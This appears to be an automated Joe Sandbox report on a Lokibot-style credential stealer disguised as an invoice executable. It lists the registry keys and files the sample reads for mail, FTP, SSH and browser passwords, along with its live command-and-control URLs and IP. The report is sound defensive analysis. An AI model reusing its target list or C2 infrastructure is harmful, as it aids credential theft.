Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GOUDOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GLECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GIL_____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GILI____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GILBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GILC____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GLSNECB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\GIGI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRABK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FRABKIT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\FELIXTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ERASMD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ERASLGHT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ERASDEMI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ERASBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ENGR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ITCEDSCR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\COPRGTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SCHLBKI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SCHLBKB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\SCHLBKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CASTELAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALIST.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALISTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALISTB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\CALISTBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOOKOS.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOOKOSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_B.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_BI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_CR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_BLAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_BLAI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ITCBLKAD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\ARLRDBD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\AGENCYB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\REFSAN.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\MTEXTRA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000003.00000002.506514782.0000000001238000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	11 Process Injection	1 Masquerading	2 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	1 Credentials in Registry	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	2 Non-Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	21 Virtualization/Sandbox Evasion	Security Account Manager	21 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	2 Data from Local System	Automated Exfiltration	112 Application Layer Protocol	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	11 Process Injection	NTDS	1 Remote System Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Obfuscated Files or Information	LSA Secrets	13 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	12 Software Packing	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Timestomp	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
INV.2022LB0362 FORM CO (2).exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
INV.2022LB0362 FORM CO (2).exe	56%	Virustotal		Browse
INV.2022LB0362 FORM CO (2).exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File
0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack	100%	Avira	TR/Crypt.XPACK.Gen	Download File

Domains

Source	Detection	Scanner	Label	Link
sempersim.su	25%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://fontfabrik.com	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://sempersim.su/gm11/fre.php	25%	Virustotal		Browse
http://sempersim.su/gm11/fre.php	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
sempersim.su	95.213.216.202	true	true	25%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: safe URL Reputation: safe	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: safe	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: safe	unknown
http://sempersim.su/gm11/fre.php	true	25%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designersG	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fontbureau.com/designers/?	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/bThe	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.ibsensoftware.com/	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, INV.2022LB0362 FORM CO (2).exe, 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.tiro.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.goodfont.co.kr	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.typography.netD	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.founder.com.cn/cn/cThe	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://fontfabrik.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-jones.html	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.jiyu-kobo.co.jp/	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.fonts.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.sandoll.co.kr	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sakkal.com	INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.263729189.0000000006AF2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
95.213.216.202	sempersim.su	Russian Federation		49505	SELECTELRU	true

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	756310
Start date and time:	2022-11-30 00:53:06 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 33s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	INV.2022LB0362 FORM CO (2).exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/3@61/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 12 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SgrmBroker.exe, conhost.exe, svchost.exe
